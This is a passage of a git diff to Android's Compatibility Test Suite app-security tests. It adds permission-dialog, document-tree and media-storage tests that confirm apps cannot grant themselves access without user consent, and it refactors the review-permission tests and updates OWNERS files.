+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), true, false));
+ runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest29",
+ "openSettingsFromGrantNoOp");
+ }
+
+ public void testGrantDialogToSettingsDowngrade() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), false, false));
+ runThrowingTest("com.android.cts.usepermission.UsePermissionTest29",
+ "openSettingsFromGrantDowngrade");
+ runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest29",
+ "assertPermissionsNotGranted");
+ }
+
private void runDeviceTests(String packageName, String testClassName, String testMethodName)
throws DeviceNotAvailableException {
Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
}
+
+ private void runThrowingTest(String clazz, String testMethod) {
+ assertThrows(
+ instanceOf(AssertionError.class, hasMessageThat(containsString("Process crashed"))),
+ () -> runDeviceTests(USES_PERMISSION_PKG, clazz, testMethod));
+ }
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ThrowingRunnable.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ThrowingRunnable.java
new file mode 100644
index 0000000..140ee75
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ThrowingRunnable.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.appsecurity.cts;
+
+/**
+ * Similar to {@link Runnable} but has {@code throws Exception}.
+ */
+public interface ThrowingRunnable {
+ /**
+ * Similar to {@link Runnable#run} but has {@code throws Exception}.
+ */
+ void run() throws Exception;
+}
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/OWNERS b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/src/android/appsecurity/cts/deviceids/DeviceIdentifierAppOpTest.java b/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/src/android/appsecurity/cts/deviceids/DeviceIdentifierAppOpTest.java
index 1025c4d..71cd7d2 100644
--- a/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/src/android/appsecurity/cts/deviceids/DeviceIdentifierAppOpTest.java
+++ b/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/src/android/appsecurity/cts/deviceids/DeviceIdentifierAppOpTest.java
@@ -64,6 +64,9 @@
ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
(tm) -> tm.getSimSerialNumber()),
telephonyManager.getSimSerialNumber());
+ assertEquals(String.format(DEVICE_ID_WITH_APPOP_ERROR_MESSAGE, "getNai"),
+ ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
+ (tm) -> tm.getNai()), telephonyManager.getNai());
assertEquals(String.format(DEVICE_ID_WITH_APPOP_ERROR_MESSAGE, "Build#getSerial"),
ShellIdentityUtils.invokeStaticMethodWithShellPermissions(Build::getSerial),
Build.getSerial());
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 29087fb..1f302dd 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -28,11 +28,13 @@
import android.provider.DocumentsContract.Document;
import android.provider.DocumentsContract.Path;
import android.provider.DocumentsProvider;
+import android.provider.Settings;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiObjectNotFoundException;
import android.support.test.uiautomator.UiScrollable;
import android.support.test.uiautomator.UiSelector;
import android.test.MoreAsserts;
+import android.text.TextUtils;
import android.util.Log;
import com.android.cts.documentclient.MyActivity.Result;
@@ -130,6 +132,14 @@
return new UiObject(new UiSelector().resourceId("android:id/button1"));
}
+ private void assertToolbarTitleEquals(String label) throws UiObjectNotFoundException {
+ final UiObject title = new UiObject(new UiSelector().resourceId(
+ getDocumentsUiPackageId() + ":id/toolbar").childSelector(
+ new UiSelector().className("android.widget.TextView").text(label)));
+
+ assertTrue(title.waitForExists(TIMEOUT));
+ }
+
public void testOpenSimple() throws Exception {
if (!supportedHardware()) return;
@@ -347,6 +357,27 @@
}
}
+ public void testTree_blockFromTree() throws Exception {
+ if (!supportedHardware()) return;
+
+ final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT_TREE);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ mDevice.waitForIdle();
+ findRoot("CtsCreate").click();
+
+ mDevice.waitForIdle();
+
+ // save button is disabled for root
+ assertFalse(findSaveButton().isEnabled());
+
+ findDocument("DIR2").click();
+
+ mDevice.waitForIdle();
+ // save button is enabled for dir2
+ assertTrue(findSaveButton().isEnabled());
+ }
+
public void testGetContent_rootsShowing() throws Exception {
if (!supportedHardware()) return;
@@ -609,6 +640,39 @@
assertTrue(findDocument("FILE4").exists());
}
+ public void testOpenDocumentTreeWithScopedStorage() throws Exception {
+ if (!supportedHardware()) return;
+
+ // Clear DocsUI's storage to avoid it opening stored last location
+ // which may make this test pass "luckily".
+ clearDocumentsUi();
+
+ final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT_TREE);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ mDevice.waitForIdle();
+
+ final String deviceName = Settings.Global.getString(
+ mActivity.getContentResolver(), Settings.Global.DEVICE_NAME);
+
+ // Device name should always be set. In case it isn't, though,
+ // fall back to "Internal Storage".
+ final String title = !TextUtils.isEmpty(deviceName) ? deviceName : "Internal Storage";
+
+ // assert the default root is internal storage root
+ assertToolbarTitleEquals(title);
+
+ // save button is disabled for the root
+ assertFalse(findSaveButton().isEnabled());
+
+ findDocument("Download").click();
+ mDevice.waitForIdle();
+ // save button is disabled for Download folder
+ assertFalse(findSaveButton().isEnabled());
+
+ // no Downloads root
+ assertFalse(findRoot("Downloads").exists());
+ }
+
public void testOpenRootWithoutRootIdAtInitialLocation() throws Exception {
if (!supportedHardware()) return;
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
index 9a0b9ae..38c9016 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
@@ -137,7 +137,7 @@
mLocalRoot = buildDoc("doc:local", null, Document.MIME_TYPE_DIR, null);
mCreateRoot = buildDoc("doc:create", null, Document.MIME_TYPE_DIR, null);
- mCreateRoot.flags = Document.FLAG_DIR_SUPPORTS_CREATE;
+ mCreateRoot.flags = Document.FLAG_DIR_SUPPORTS_CREATE | Document.FLAG_DIR_BLOCKS_TREE;
{
Doc file1 = buildDoc("doc:file1", "FILE1", "mime1/file1", null);
diff --git a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/OWNERS b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
index 78f2fff..aafb94e 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
@@ -27,6 +27,7 @@
import android.app.Activity;
import android.app.Instrumentation;
+import android.app.PendingIntent;
import android.app.RecoverableSecurityException;
import android.content.ContentResolver;
import android.content.ContentUris;
@@ -42,6 +43,7 @@
import android.provider.MediaStore;
import android.provider.MediaStore.MediaColumns;
import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiSelector;
import androidx.test.InstrumentationRegistry;
@@ -59,6 +61,7 @@
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
+import java.util.Arrays;
import java.util.HashSet;
import java.util.concurrent.Callable;
@@ -103,9 +106,9 @@
@Test
public void testClearFiles() throws Exception {
TEST_JPG.delete();
- assertNull(MediaStore.scanFileFromShell(mContext, TEST_JPG));
+ assertNull(MediaStore.scanFile(mContentResolver, TEST_JPG));
TEST_PDF.delete();
- assertNull(MediaStore.scanFileFromShell(mContext, TEST_PDF));
+ assertNull(MediaStore.scanFile(mContentResolver, TEST_PDF));
}
private void doSandboxed(boolean sandboxed) throws Exception {
@@ -137,8 +140,8 @@
assertTrue(TEST_JPG.exists());
assertTrue(TEST_PDF.exists());
- final Uri jpgUri = MediaStore.scanFileFromShell(mContext, TEST_JPG);
- final Uri pdfUri = MediaStore.scanFileFromShell(mContext, TEST_PDF);
+ final Uri jpgUri = MediaStore.scanFile(mContentResolver, TEST_JPG);
+ final Uri pdfUri = MediaStore.scanFile(mContentResolver, TEST_PDF);
final HashSet<Long> seen = new HashSet<>();
try (Cursor c = mContentResolver.query(
@@ -211,6 +214,18 @@
fail("Expected write access to be blocked");
} catch (SecurityException | FileNotFoundException expected) {
}
+
+ // Verify that we can't grant ourselves access
+ for (int flag : new int[] {
+ Intent.FLAG_GRANT_READ_URI_PERMISSION,
+ Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+ }) {
+ try {
+ mContext.grantUriPermission(mContext.getPackageName(), blue, flag);
+ fail("Expected granting to be blocked for flag 0x" + Integer.toHexString(flag));
+ } catch (SecurityException expected) {
+ }
+ }
}
@Test
@@ -363,7 +378,89 @@
assertEquals(1, mContentResolver.delete(red, null, null));
}
+ @Test
+ public void testMediaEscalation_RequestWrite() throws Exception {
+ doMediaEscalation_RequestWrite(MediaStorageTest::createAudio);
+ doMediaEscalation_RequestWrite(MediaStorageTest::createVideo);
+ doMediaEscalation_RequestWrite(MediaStorageTest::createImage);
+ }
+
+ private void doMediaEscalation_RequestWrite(Callable<Uri> create) throws Exception {
+ final Uri red = create.call();
+ clearMediaOwner(red, mUserId);
+
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "w")) {
+ fail("Expected write access to be blocked");
+ } catch (RecoverableSecurityException expected) {
+ }
+
+ doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(red)));
+
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "w")) {
+ }
+ }
+
+ @Test
+ public void testMediaEscalation_RequestTrash() throws Exception {
+ doMediaEscalation_RequestTrash(MediaStorageTest::createAudio);
+ doMediaEscalation_RequestTrash(MediaStorageTest::createVideo);
+ doMediaEscalation_RequestTrash(MediaStorageTest::createImage);
+ }
+
+ private void doMediaEscalation_RequestTrash(Callable<Uri> create) throws Exception {
+ final Uri red = create.call();
+ clearMediaOwner(red, mUserId);
+
+ assertEquals("0", queryForSingleColumn(red, MediaColumns.IS_TRASHED));
+ doEscalation(MediaStore.createTrashRequest(mContentResolver, Arrays.asList(red), true));
+ assertEquals("1", queryForSingleColumn(red, MediaColumns.IS_TRASHED));
+ doEscalation(MediaStore.createTrashRequest(mContentResolver, Arrays.asList(red), false));
+ assertEquals("0", queryForSingleColumn(red, MediaColumns.IS_TRASHED));
+ }
+
+ @Test
+ public void testMediaEscalation_RequestFavorite() throws Exception {
+ doMediaEscalation_RequestFavorite(MediaStorageTest::createAudio);
+ doMediaEscalation_RequestFavorite(MediaStorageTest::createVideo);
+ doMediaEscalation_RequestFavorite(MediaStorageTest::createImage);
+ }
+
+ private void doMediaEscalation_RequestFavorite(Callable<Uri> create) throws Exception {
+ final Uri red = create.call();
+ clearMediaOwner(red, mUserId);
+
+ assertEquals("0", queryForSingleColumn(red, MediaColumns.IS_FAVORITE));
+ doEscalation(MediaStore.createFavoriteRequest(mContentResolver, Arrays.asList(red), true));
+ assertEquals("1", queryForSingleColumn(red, MediaColumns.IS_FAVORITE));
+ doEscalation(MediaStore.createFavoriteRequest(mContentResolver, Arrays.asList(red), false));
+ assertEquals("0", queryForSingleColumn(red, MediaColumns.IS_FAVORITE));
+ }
+
+ @Test
+ public void testMediaEscalation_RequestDelete() throws Exception {
+ doMediaEscalation_RequestDelete(MediaStorageTest::createAudio);
+ doMediaEscalation_RequestDelete(MediaStorageTest::createVideo);
+ doMediaEscalation_RequestDelete(MediaStorageTest::createImage);
+ }
+
+ private void doMediaEscalation_RequestDelete(Callable<Uri> create) throws Exception {
+ final Uri red = create.call();
+ clearMediaOwner(red, mUserId);
+
+ try (Cursor c = mContentResolver.query(red, null, null, null)) {
+ assertEquals(1, c.getCount());
+ }
+ doEscalation(MediaStore.createDeleteRequest(mContentResolver, Arrays.asList(red)));
+ try (Cursor c = mContentResolver.query(red, null, null, null)) {
+ assertEquals(0, c.getCount());
+ }
+ }
+
private void doEscalation(RecoverableSecurityException exception) throws Exception {
+ doEscalation(exception.getUserAction().getActionIntent());
+ }
+
+ private void doEscalation(PendingIntent pi) throws Exception {
// Try launching the action to grant ourselves access
final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
final Intent intent = new Intent(inst.getContext(), GetResultActivity.class);
@@ -377,12 +474,17 @@
final GetResultActivity activity = (GetResultActivity) inst.startActivitySync(intent);
device.waitForIdle();
activity.clearResult();
- activity.startIntentSenderForResult(
- exception.getUserAction().getActionIntent().getIntentSender(),
- 42, null, 0, 0, 0);
+ activity.startIntentSenderForResult(pi.getIntentSender(), 42, null, 0, 0, 0);
device.waitForIdle();
- device.findObject(new UiSelector().textMatches("(?i:Allow)")).click();
+
+ // Some dialogs may have granted access automatically, so we're willing
+ // to keep rolling forward if we can't find our grant button
+ final UiSelector grant = new UiSelector()
+ .textMatches("(Allow|Change|Move to trash|Move out of trash|Delete)");
+ if (new UiObject(grant).waitForExists(2_000)) {
+ device.findObject(grant).click();
+ }
// Verify that we now have access
final GetResultActivity.Result res = activity.getResult();
@@ -434,6 +536,16 @@
}
}
+ private static String queryForSingleColumn(Uri uri, String column) throws Exception {
+ final ContentResolver resolver = InstrumentationRegistry.getTargetContext()
+ .getContentResolver();
+ try (Cursor c = resolver.query(uri, new String[] { column }, null, null)) {
+ assertEquals(c.getCount(), 1);
+ assertTrue(c.moveToFirst());
+ return c.getString(0);
+ }
+ }
+
private static void clearMediaOwner(Uri uri, int userId) throws IOException {
final String cmd = String.format(
"content update --uri %s --user %d --bind owner_package_name:n:",
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
index 429ea8b..9188993 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
@@ -92,7 +92,8 @@
android:pathPrefix="/yes"
android:readPermission="com.android.cts.permissionWithSignature"
android:writePermission="com.android.cts.permissionWithSignature" />
- <grant-uri-permission android:pathPattern=".*" />
+ <grant-uri-permission android:pathPattern="/foo.*" />
+ <grant-uri-permission android:pathPattern="/yes.*" />
</provider>
<!-- Target for tests that verify path permissions can restrict access
@@ -112,5 +113,6 @@
android:writePermission="com.android.cts.permissionNormal" />
</provider>
+ <activity android:name=".SendResultActivity" android:exported="true" />
</application>
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/SendResultActivity.java b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/SendResultActivity.java
new file mode 100644
index 0000000..4fdca81
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/SendResultActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.permissiondeclareapp;
+
+import android.app.Activity;
+import android.content.ClipData;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+public class SendResultActivity extends Activity {
+ private static final String TAG = "SendUriActivity";
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ // For simplicity, we're willing to grant whatever they asked for
+ final ClipData reqClip = getIntent().getParcelableExtra(Intent.EXTRA_TEXT);
+ final int reqMode = getIntent().getIntExtra(Intent.EXTRA_INDEX, 0);
+
+ final Intent result = new Intent();
+ result.setClipData(reqClip);
+ result.addFlags(reqMode);
+
+ try {
+ Log.d(TAG, "Finishing OK with " + result);
+ setResult(RESULT_OK, result);
+ finish();
+ } catch (SecurityException e) {
+ Log.d(TAG, "Finishing CANCELED due to " + e);
+ setResult(RESULT_CANCELED, null);
+ finish();
+
+ // Make sure we hand control back to whoever started us
+ android.os.Process.killProcess(android.os.Process.myPid());
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml
index 7b254dc..30d73f5 100644
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml
@@ -19,7 +19,7 @@
package="com.android.cts.reviewpermissionhelper">
<application>
- <activity android:name=".ActivityStarter" />
+ <activity android:name="com.android.compatibility.common.util.FutureResultActivity" />
<uses-library android:name="android.test.runner" />
</application>
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/OWNERS b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ActivityStarter.kt b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ActivityStarter.kt
deleted file mode 100644
index 90dbca9..0000000
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ActivityStarter.kt
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.reviewpermissionhelper
-
-import android.app.Activity
-import android.content.Intent
-import android.os.Bundle
-import java.util.concurrent.LinkedBlockingQueue
-
-val installDialogResults = LinkedBlockingQueue<Int>()
-
-class ActivityStarter : Activity() {
- override fun onCreate(savedInstanceState: Bundle?) {
- super.onCreate(savedInstanceState)
-
- savedInstanceState ?: installDialogResults.clear()
- }
-
- override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
- installDialogResults.offer(resultCode)
- }
-}
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt
index 15fdff3..4ceb73c 100644
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt
@@ -30,13 +30,16 @@
import androidx.test.rule.ActivityTestRule
import androidx.test.runner.AndroidJUnit4
import android.support.test.uiautomator.By
+import android.support.test.uiautomator.BySelector
import android.support.test.uiautomator.UiDevice
-import android.support.test.uiautomator.Until
+import com.android.compatibility.common.util.FutureResultActivity
+import com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject
import org.junit.Assert.assertEquals
import org.junit.Assert.assertNull
import org.junit.Rule
import org.junit.Test
import org.junit.runner.RunWith
+import java.util.concurrent.CompletableFuture
import java.util.concurrent.LinkedBlockingQueue
import java.util.concurrent.TimeUnit
@@ -47,43 +50,45 @@
@RunWith(AndroidJUnit4::class)
class ReviewPermissionsTest {
@get:Rule
- val activityStarter = ActivityTestRule(ActivityStarter::class.java)
+ val activityStarter = ActivityTestRule(FutureResultActivity::class.java)
val instrumentation = InstrumentationRegistry.getInstrumentation()
val uiDevice = UiDevice.getInstance(instrumentation)
- fun startActivityInReviewedAp() {
+ fun startActivityInReviewedAp(): CompletableFuture<Int> {
val startAutoClosingActivity = Intent()
startAutoClosingActivity.component = ComponentName(USE_PERMISSION_PKG,
USE_PERMISSION_PKG + ".AutoClosingActivity")
- activityStarter.activity.startActivityForResult(startAutoClosingActivity, 42)
+ return activityStarter.activity.startActivityForResult(startAutoClosingActivity)
+ }
+
+ private inline fun startActivityInReviewedAp(expectedResult: Int, runAfterStart: () -> Unit) {
+ val activityResult = startActivityInReviewedAp()
+ runAfterStart()
+ assertEquals(expectedResult, activityResult.get(UI_TIMEOUT, TimeUnit.MILLISECONDS))
}
fun clickContinue() {
- uiDevice.wait(Until.findObject(
- By.res("com.android.permissioncontroller:id/continue_button")), UI_TIMEOUT).click()
+ click(By.res("com.android.permissioncontroller:id/continue_button"))
}
@Test
fun approveReviewPermissions() {
- startActivityInReviewedAp()
- clickContinue()
- assertEquals(RESULT_OK, installDialogResults.poll(UI_TIMEOUT, TimeUnit.MILLISECONDS))
+ startActivityInReviewedAp(expectedResult = RESULT_OK) {
+ clickContinue()
+ }
}
@Test
fun cancelReviewPermissions() {
- startActivityInReviewedAp()
-
- uiDevice.wait(Until.findObject(
- By.res("com.android.permissioncontroller:id/cancel_button")), UI_TIMEOUT).click()
- assertEquals(RESULT_CANCELED, installDialogResults.poll(UI_TIMEOUT, TimeUnit.MILLISECONDS))
+ startActivityInReviewedAp(expectedResult = RESULT_CANCELED) {
+ click(By.res("com.android.permissioncontroller:id/cancel_button"))
+ }
}
@Test
fun assertNoReviewPermissionsNeeded() {
- startActivityInReviewedAp()
- assertEquals(RESULT_OK, installDialogResults.poll(UI_TIMEOUT, TimeUnit.MILLISECONDS))
+ startActivityInReviewedAp(expectedResult = RESULT_OK) {}
}
@Test
@@ -91,17 +96,17 @@
startActivityInReviewedAp()
// Deny
- uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
+ click(By.text("Calendar"))
// Confirm deny
- uiDevice.wait(Until.findObject(By.res("android:id/button1")), UI_TIMEOUT).click()
+ click(By.res("android:id/button1"))
// Grant
uiDevice.waitForIdle()
- uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
+ click(By.text("Calendar"))
// Deny
uiDevice.waitForIdle()
- uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
+ click(By.text("Calendar"))
uiDevice.waitForIdle()
clickContinue()
@@ -112,13 +117,13 @@
startActivityInReviewedAp()
// Deny
- uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
+ click(By.text("Calendar"))
// Confirm deny
- uiDevice.wait(Until.findObject(By.res("android:id/button1")), UI_TIMEOUT).click()
+ click(By.res("android:id/button1"))
// Grant
uiDevice.waitForIdle()
- uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
+ click(By.text("Calendar"))
uiDevice.waitForIdle()
clickContinue()
@@ -129,14 +134,18 @@
startActivityInReviewedAp()
// Deny
- uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
+ click(By.text("Calendar"))
// Confirm deny
- uiDevice.wait(Until.findObject(By.res("android:id/button1")), UI_TIMEOUT).click()
+ click(By.res("android:id/button1"))
uiDevice.waitForIdle()
clickContinue()
}
+ private fun click(selector: BySelector) {
+ waitFindObject(selector, UI_TIMEOUT).click()
+ }
+
@Test
fun reviewPermissionWhenServiceIsBound() {
val permissionCheckerServiceIntent = Intent()
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res/values/strings.xml
index ada3d19..e5300ab 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res/values/strings.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res/values/strings.xml
@@ -2,6 +2,7 @@
<resources>
<string name="Permissions">Permissions</string>
<string name="Deny">Deny</string>
+ <string name="Ask">Ask every time</string>
<string name="Allow">Allow</string>
<string name="AllowAll">Allow all the time</string>
</resources>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java
index 20be2cc..a1bd122 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java
@@ -36,7 +36,6 @@
* Runtime permission behavior tests for apps targeting API 22
*/
public class UsePermissionTest22 extends BasePermissionsTest {
- private static final int REQUEST_CODE_PERMISSIONS = 42;
private final Context mContext = getInstrumentation().getContext();
@@ -137,11 +136,9 @@
public void testNoRuntimePrompt() throws Exception {
// Request the permission and do nothing
BasePermissionActivity.Result result = requestPermissions(
